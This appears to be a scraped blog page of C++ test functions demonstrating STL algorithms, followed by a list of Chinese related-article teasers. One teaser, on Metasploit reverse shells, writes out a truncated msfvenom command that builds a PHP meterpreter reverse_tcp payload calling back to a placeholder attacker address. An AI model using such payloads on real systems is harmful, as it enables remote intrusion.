}{int myints[] = { 3, 7, 2, 5, 6, 4, 9 };// using default comparison:std::cout << "The smallest element is " << *std::min_element(myints, myints + 7) << '\n'; // 2std::cout << "The largest element is " << *std::max_element(myints, myints + 7) << '\n'; // 9// using function myfn as comp:std::cout << "The smallest element is " << *std::min_element(myints, myints + 7, myfn) << '\n'; // 2std::cout << "The largest element is " << *std::max_element(myints, myints + 7, myfn) << '\n'; // 9// using object myobj as comp:std::cout << "The smallest element is " << *std::min_element(myints, myints + 7, myobject2) << '\n'; // 2std::cout << "The largest element is " << *std::max_element(myints, myints + 7, myobject2) << '\n'; // 9
}{std::cout << "max(1,2)==" << std::max(1, 2) << '\n'; // 2std::cout << "max(2,1)==" << std::max(2, 1) << '\n'; // 2std::cout << "max('a','z')==" << std::max('a', 'z') << '\n'; // zstd::cout << "max(3.14,2.73)==" << std::max(3.14, 2.73) << '\n'; // 3.14
}{auto result = std::minmax({ 1, 2, 3, 4, 5 });std::cout << "minmax({1,2,3,4,5}): ";std::cout << result.first << ' ' << result.second << '\n'; // 1 5
}{std::array<int, 7> foo{ 3, 7, 2, 9, 5, 8, 6 };auto result = std::minmax_element(foo.begin(), foo.end());// print result:std::cout << "min is " << *result.first; // 2std::cout << ", at position " << (result.first - foo.begin()) << '\n'; // 2std::cout << "max is " << *result.second; // 9std::cout << ", at position " << (result.second - foo.begin()) << '\n'; // 3
}return 0;
}///
int test_algorithm_mismatch()
{std::vector<int> myvector;for (int i = 1; i<6; i++) myvector.push_back(i * 10); // myvector: 10 20 30 40 50int myints[] = { 10, 20, 80, 320, 1024 }; // myints: 10 20 80 320 1024std::pair<std::vector<int>::iterator, int*> mypair;// using default comparison:mypair = std::mismatch(myvector.begin(), myvector.end(), myints);std::cout << "First mismatching elements: " << *mypair.first; // 30std::cout << " and " << *mypair.second << '\n'; // 80++mypair.first; ++mypair.second;// using predicate comparison:mypair = std::mismatch(mypair.first, myvector.end(), mypair.second, mypredicate);std::cout << "Second mismatching elements: " << *mypair.first; // 40std::cout << " and " << *mypair.second << '\n'; // 320return 0;
}//
/* The behavior of std::move_backward template is equivalent to:
template<class BidirectionalIterator1, class BidirectionalIterator2>
BidirectionalIterator2 move_backward ( BidirectionalIterator1 first,BidirectionalIterator1 last,BidirectionalIterator2 result )
{while (last!=first) *(--result) = std::move(*(--last));return result;
}
*/
int test_algorithm_move()
{
{std::vector<std::string> foo = { "air", "water", "fire", "earth" };std::vector<std::string> bar(4);// moving ranges:std::cout << "Moving ranges...\n";std::move(foo.begin(), foo.begin() + 4, bar.begin());std::cout << "foo contains " << foo.size() << " elements:";// 4std::cout << " (each in an unspecified but valid state)";std::cout << '\n';std::cout << "bar contains " << bar.size() << " elements:"; // 4for (std::string& x : bar) std::cout << " [" << x << "]"; // [air] [water] [fire] [earch]std::cout << '\n';// moving container:std::cout << "Moving container...\n";foo = std::move(bar);std::cout << "foo contains " << foo.size() << " elements:"; // 4for (std::string& x : foo) std::cout << " [" << x << "]"; // [air] [water] [fire] [earch]std::cout << '\n';std::cout << "bar contains " << bar.size() << " elements" << std::endl; // 0//std::cout << "bar is in an unspecified but valid state";//std::cout << '\n';
}{std::string elems[10] = { "air", "water", "fire", "earth" };// insert new element at the beginning:std::move_backward(elems, elems + 4, elems + 5);elems[0] = "ether";std::cout << "elems contains:";for (int i = 0; i<10; ++i)std::cout << " [" << elems[i] << "]"; // [ether] [air] [water] [fire] [earch]std::cout << '\n';
}return 0;
}//
// random generator function:
int myrandom(int i) { return std::rand() % i; }int test_algorithm_shuffle()
{
{std::srand(unsigned(std::time(0)));std::vector<int> myvector;// set some values:for (int i = 1; i<10; ++i) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9// using built-in random generator:std::random_shuffle(myvector.begin(), myvector.end());// using myrandom:std::random_shuffle(myvector.begin(), myvector.end(), myrandom);// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it;std::cout << '\n';
}{std::array<int, 5> foo{ 1, 2, 3, 4, 5 };// obtain a time-based seed:unsigned seed = std::chrono::system_clock::now().time_since_epoch().count();shuffle(foo.begin(), foo.end(), std::default_random_engine(seed));std::cout << "shuffled elements:";for (int& x : foo) std::cout << ' ' << x;std::cout << '\n';
}return 0;
}//
int test_algorithm_remove()
{
{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 }; // 10 20 30 30 20 10 10 20// bounds of range:int* pbegin = myints; // ^int* pend = myints + sizeof(myints) / sizeof(int); // ^ ^pend = std::remove(pbegin, pend, 20); // 10 30 30 10 10 ? ? ?// ^ ^std::cout << "range contains:";for (int* p = pbegin; p != pend; ++p)std::cout << ' ' << *p; // 10 30 30 10 10std::cout << '\n';
}{int myints[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; // 1 2 3 4 5 6 7 8 9// bounds of range:int* pbegin = myints; // ^int* pend = myints + sizeof(myints) / sizeof(int); // ^ ^pend = std::remove_if(pbegin, pend, IsOdd); // 2 4 6 8 ? ? ? ? ?// ^ ^std::cout << "the range contains:";for (int* p = pbegin; p != pend; ++p)std::cout << ' ' << *p; // 2 4 6 8std::cout << '\n';
}{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 }; // 10 20 30 30 20 10 10 20std::vector<int> myvector(8);std::remove_copy(myints, myints + 8, myvector.begin(), 20); // 10 30 30 10 10 0 0 0std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 30 30 10 10 0 0 0std::cout << '\n';
}{int myints[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };std::vector<int> myvector(9);std::remove_copy_if(myints, myints + 9, myvector.begin(), IsOdd);std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 2 4 6 8 0 0 0 0 0std::cout << '\n';
}return 0;
}//
int test_algorithm_replace()
{
{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };std::vector<int> myvector(myints, myints + 8); // 10 20 30 30 20 10 10 20std::replace(myvector.begin(), myvector.end(), 20, 99); // 10 99 30 30 99 10 10 99std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 99 30 30 99 10 10 99std::cout << '\n';
}{std::vector<int> myvector;// set some values:for (int i = 1; i<10; i++) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::replace_if(myvector.begin(), myvector.end(), IsOdd, 0); // 0 2 0 4 0 6 0 8 0std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 0 2 0 4 0 6 0 8 0std::cout << '\n';
}{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };std::vector<int> myvector(8);std::replace_copy(myints, myints + 8, myvector.begin(), 20, 99);std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 99 30 30 99 10 10 99std::cout << '\n';
}{std::vector<int> foo, bar;// set some values:for (int i = 1; i<10; i++) foo.push_back(i); // 1 2 3 4 5 6 7 8 9bar.resize(foo.size()); // allocate spacestd::replace_copy_if(foo.begin(), foo.end(), bar.begin(), IsOdd, 0); // 0 2 0 4 0 6 0 8 0std::cout << "bar contains:";for (std::vector<int>::iterator it = bar.begin(); it != bar.end(); ++it)std::cout << ' ' << *it; // 0 2 0 4 0 6 0 8 0std::cout << '\n';
}return 0;
}///
int test_algorithm_reverse()
{
{std::vector<int> myvector;// set some values:for (int i = 1; i<10; ++i) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::reverse(myvector.begin(), myvector.end()); // 9 8 7 6 5 4 3 2 1// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 9 8 7 6 5 4 3 2 1std::cout << '\n';
}{int myints[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };std::vector<int> myvector;myvector.resize(9); // allocate spacestd::reverse_copy(myints, myints + 9, myvector.begin());// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 9 8 7 6 5 4 3 2 1std::cout << '\n';
}return 0;
}/*
The behavior of std::rotate template (C++98) is equivalent to:template <class ForwardIterator>
void rotate (ForwardIterator first, ForwardIterator middle, ForwardIterator last)
{ForwardIterator next = middle;while (first!=next) {swap (*first++,*next++);if (next==last) next=middle;else if (first==middle) middle=next;}
}
*/int test_algorithm_rotate()
{
{std::vector<int> myvector;// set some values:for (int i = 1; i<10; ++i) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::rotate(myvector.begin(), myvector.begin() + 3, myvector.end()); // 4 5 6 7 8 9 1 2 3// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 4 5 6 7 8 9 1 2 3std::cout << '\n';
}{int myints[] = { 10, 20, 30, 40, 50, 60, 70 };std::vector<int> myvector(7);std::rotate_copy(myints, myints + 3, myints + 7, myvector.begin());// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 40 50 60 70 10 20 30std::cout << '\n';
}return 0;
}//
/*
The behavior of std::set_difference template is equivalent to:template <class InputIterator1, class InputIterator2, class OutputIterator>
OutputIterator set_difference (InputIterator1 first1, InputIterator1 last1,InputIterator2 first2, InputIterator2 last2, OutputIterator result)
{while (first1!=last1 && first2!=last2) {if (*first1<*first2) { *result = *first1; ++result; ++first1; }else if (*first2<*first1) ++first2;else { ++first1; ++first2; }}return std::copy(first1,last1,result);
}
*/int test_algorithm_set()
{
{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10); // 0 0 0 0 0 0 0 0 0 0std::vector<int>::iterator it;std::sort(first, first + 5); // 5 10 15 20 25std::sort(second, second + 5); // 10 20 30 40 50it = std::set_difference(first, first + 5, second, second + 5, v.begin());// 5 15 25 0 0 0 0 0 0 0v.resize(it - v.begin()); // 5 15 25std::cout << "The difference has " << (v.size()) << " elements:\n"; // 3for (it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 5 15 25std::cout << '\n';
}{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10); // 0 0 0 0 0 0 0 0 0 0std::vector<int>::iterator it;std::sort(first, first + 5); // 5 10 15 20 25std::sort(second, second + 5); // 10 20 30 40 50it = std::set_intersection(first, first + 5, second, second + 5, v.begin());// 10 20 0 0 0 0 0 0 0 0v.resize(it - v.begin()); // 10 20std::cout << "The intersection has " << (v.size()) << " elements:\n"; // 2for (it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 10 20std::cout << '\n';
}{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10); // 0 0 0 0 0 0 0 0 0 0std::vector<int>::iterator it;std::sort(first, first + 5); // 5 10 15 20 25std::sort(second, second + 5); // 10 20 30 40 50it = std::set_symmetric_difference(first, first + 5, second, second + 5, v.begin());// 5 15 25 30 40 50 0 0 0 0v.resize(it - v.begin()); // 5 15 25 30 40 50std::cout << "The symmetric difference has " << (v.size()) << " elements:\n"; // 6for (it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 5 15 25 30 40 50std::cout << '\n';
}{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10); // 0 0 0 0 0 0 0 0 0 0std::vector<int>::iterator it;std::sort(first, first + 5); // 5 10 15 20 25std::sort(second, second + 5); // 10 20 30 40 50it = std::set_union(first, first + 5, second, second + 5, v.begin());// 5 10 15 20 25 30 40 50 0 0v.resize(it - v.begin()); // 5 10 15 20 25 30 40 50std::cout << "The union has " << (v.size()) << " elements:\n"; // 8for (it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 5 10 15 20 25 30 40 50std::cout << '\n';
}return 0;
}/
int op_increase(int i) { return ++i; }int test_algorithm_transform()
{std::vector<int> foo;std::vector<int> bar;// set some values:for (int i = 1; i<6; i++)foo.push_back(i * 10); // foo: 10 20 30 40 50bar.resize(foo.size()); // allocate spacestd::transform(foo.begin(), foo.end(), bar.begin(), op_increase);// bar: 11 21 31 41 51// std::plus adds together its two arguments:std::transform(foo.begin(), foo.end(), bar.begin(), foo.begin(), std::plus<int>());// foo: 21 41 61 81 101std::cout << "foo contains:";for (std::vector<int>::iterator it = foo.begin(); it != foo.end(); ++it)std::cout << ' ' << *it; // 21 41 61 81 101std::cout << '\n';return 0;
}/
int test_algorithm_unique()
{
{int myints[] = { 10, 20, 20, 20, 30, 30, 20, 20, 10 }; // 10 20 20 20 30 30 20 20 10std::vector<int> myvector(myints, myints + 9);// using default comparison:std::vector<int>::iterator it;it = std::unique(myvector.begin(), myvector.end()); // 10 20 30 20 10 ? ? ? ?// ^myvector.resize(std::distance(myvector.begin(), it)); // 10 20 30 20 10// using predicate comparison:std::unique(myvector.begin(), myvector.end(), myfunction); // (no changes)// print out content:std::cout << "myvector contains:";for (it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 20 30 20 10std::cout << '\n';
}{int myints[] = { 10, 20, 20, 20, 30, 30, 20, 20, 10 };std::vector<int> myvector(9); // 0 0 0 0 0 0 0 0 0// using default comparison:std::vector<int>::iterator it;it = std::unique_copy(myints, myints + 9, myvector.begin()); // 10 20 30 20 10 0 0 0 0// ^std::sort(myvector.begin(), it); // 10 10 20 20 30 0 0 0 0// ^// using predicate comparison:it = std::unique_copy(myvector.begin(), it, myvector.begin(), myfunction);// 10 20 30 20 30 0 0 0 0// ^myvector.resize(std::distance(myvector.begin(), it)); // 10 20 30// print out content:std::cout << "myvector contains:";for (it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 20 30std::cout << '\n';
}return 0;
}} // namespace algorithm_
GitHub:https://github.com/fengbingchun/Messy_Test
相关文章:

js filter 用法
filter filter函数可以看成是一个过滤函数,返回符合条件的元素的数组 filter需要在循环的时候判断一下是true还是false,是true才会返回这个元素; filter()接收的回调函数,其实可以有多个参数。通常我们仅使用第一个参数ÿ…

每30秒学会一个Python小技巧,GitHub星数4600+
(图片付费下载自视觉中国)作者 | xiaoyu,数据爱好者来源 | Python数据科学(ID:PyDataScience)很多学习Python的朋友在项目实战中会遇到不少功能实现上的问题,有些问题并不是很难的问题,或者已经…

Nginx自定义模块编写:根据post参数路由到不同服务器
Nginx可以轻松实现根据不同的url 或者 get参数来转发到不同的服务器,然而当我们需要根据http包体来进行请求路由时,Nginx默认的配置规则就捉襟见肘了,但是没关系,Nginx提供了强大的自定义模块功能,我们只要进行需要的扩…
深度学习中的贝叶斯统计简介
贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到,因此不是随机的。另一方面,真实参数θ是未知或不确定的,因此可以表示成随机变量。在观察到数据前,我们将θ的已知知识表示成先验概率分布(prior probability distr…

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)
(图片付费下载自视觉中国)作者 | 黄海广来源 | 机器学习初学者(ID: ai-start-com)知识更新非常快,需要一直学习才能跟上时代进步,举个例子:吴恩达老师在深度学习课上讲的TensorFlow使用…

有状态bean与无状态bean
在学习bean的作用域的时候,了解了这个问题。 bean5种作用域:分别是:singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean: 有状态会话bean :每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法
2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮,App的状态会变成"Developer Removed From Sale ",这时,即使更新应用也无法改变这个状态。想要让App恢复可下载状态,你需要尝试…
朴素贝叶斯分类器简介及C++实现(性别分类)
贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中,朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法,文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了
(图片源自百度百科)作者 | Ekaterina Nikonova,Jakub Gemrot译者 | Tianyu出品 | AI科技大本营(ID:rgznai100)现在说起《愤怒的小鸟》游戏,要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell
今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享。( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1、msfconsole #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署
安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5,编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下(默认是/usr/local/mysql/lib/plugin)。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql,则有&…
Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤
目前OpenCV无论是2.4.x还是最新的3.3.0版本,默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤:1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe,…

manage.py命令
一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件,需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急
(图片付费下载自视觉中国)作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营(ID:rgznai100)深度学习擅长在大量数据中寻找模式,但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突
今天研发的同事在开发一个新jQuery插件时,遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6,偶,天啊!这是古代的版本啊! 由于很多功能基于老版本,不能删除啊,同志们都懂的! 于…

TensorFlow中的计算图
作者 | stephenDC来源 | 大数据与人工智能(ID:ai-big-data)1 什么是计算图?一个机器学习任务的核心是模型的定义以及模型的参数求解方式,对这两者进行抽象之后,可以确定一个唯一的计算逻辑,将这个逻辑用图表…

java设计模式-适配器模式
模式导读: 每个人都有自己不同的需要,每个人都有自己能够接受的不同方式,就像是为满足现在快速度发展的社会,几乎人人离不开手机的时代,我们也许会碰到在外出行手机电量不足的情况,这个时候如果你在车站,你…
Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤
关于Valgrind的介绍和使用可以参考: http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind,直接通过命令安装的版本是3.10.1,如下图,有些较老,目前最新版本…

粗谈Android中的对齐
在谈这个之前先啰嗦几个概念。 基线:书写英语单词时为了规范书写会设有四条线,从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐,如下所示: Start:在看API的时候经常会有Start对齐&…
OpenCV3.3中逻辑回归(Logistic Regression)使用举例
OpenCV3.3中给出了逻辑回归(logistic regression)的实现,即cv::ml::LogisticRegression类,类的声明在include/opencv2/ml.hpp文件中,实现在modules/ml/src/lr.cpp文件中,它既支持两分类,也支持多分类,其中:…

多数编程语言里的0.1+0.2≠0.3?
作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营(ID:rgznai100)我们从小就被教导说0.10.20.3,但是在奇妙的计算机编程世界里面,事情变得不一样了。我最近在用JavaScript编程,正在阅读数据类型的时候,…

iOSSharing #9 | 2019-05-19
目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别? 2. UIView与CALayer的区别? 3. loadView什么时候被调用?它有什么作用?默认实现是怎么样的? 4. UIViewController的完整生命周期? 5. UIView动…

分表处理(三)
一、概述分表是个目前算是比较炒的比较流行的概念,特别是在大负载的情况下,分表是一个良好分散数据库压力的好方法。首先要了解为什么要分表,分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程:接收到SQL –> 放…
逻辑回归(Logistic Regression)简介及C++实现
逻辑回归(Logistic Regression):该模型用于分类而非回归,可以使用logistic sigmoid函数( 可参考:http://blog.csdn.net/fengbingchun/article/details/73848734 )将线性函数的输出压缩进区间(0,1): p(y1| x;θ)σ(θTx).逻辑回归是…

CVPR 2019论文阅读:Libra R-CNN如何解决不平衡对检测性能的影响?
作者 | 路一直都在出品 | AI科技大本营(ID:rgznai100)Paper link:https://arxiv.org/pdf/1904.02701.pdfCode link:https://github.com/OceanPang/Libra_R-CNNAbstract在目标检测中,人们更关注的往往是模型结构&#x…

实现nginx上配置免费证书Let's Encrypt
Lets Encrypt 的免费证书有效期为三个月,不过可以免费续期,写一个脚本定期更新即可。 准备一台nginx 服务器 ,将以下三个附件上传到你的nginx服务器。 1、下载脚本文件,wget https://raw.githubusercontent.com/xdtianyu/scripts/…

深入解析Windows操作系统笔记——CH1概念和术语
1.概念和工具 本章主要介绍Windows操作系统的关键概念和术语 1.概念和工具... 1 1.1操作系统版本... 1 1.2基础概念和术语... 2 1.2.1Windows API2 1.2.2 服务、函数和例程... 3 1.2.3 进程、线程和作业... 4 1.2.3.1 进程... 4 1.2.3.2 线程... 4 1.2.3.3 虚拟地址描述符... 4…
C++/C++11中std::exception的使用
std::exception:标准异常类的基类,其类的声明在头文件<exception>中。所有标准库的异常类均继承于此类,因此通过引用类型可以捕获所有标准异常。 std::exception类定义了无参构造函数、拷贝构造函数、拷贝赋值运算符、一个虚析构函数和…

技术不错的程序员,为何面试却“屡战屡败”
为何很多有不少编程经验,技术能力不错的程序员,去心仪公司面试时却总是失败?至于失败的原因,可能很多人都没意识到过。01想要通关面试,千万别让数据结构拖了后腿很多公司,比如 BAT、Google、Facebook&#…

FastJson 转换 javaBean 时 null 值被忽略都问题
[toc] 问题 当 JavaeBean 中某个属性值为 null 时,转换为 JSONObject 对象或者 json 字符串时,该属性值被忽略。如何让不管值是否为 null,转化后该属性还存在,只是值为 null。 情况演示 class St {private String sid;private Str…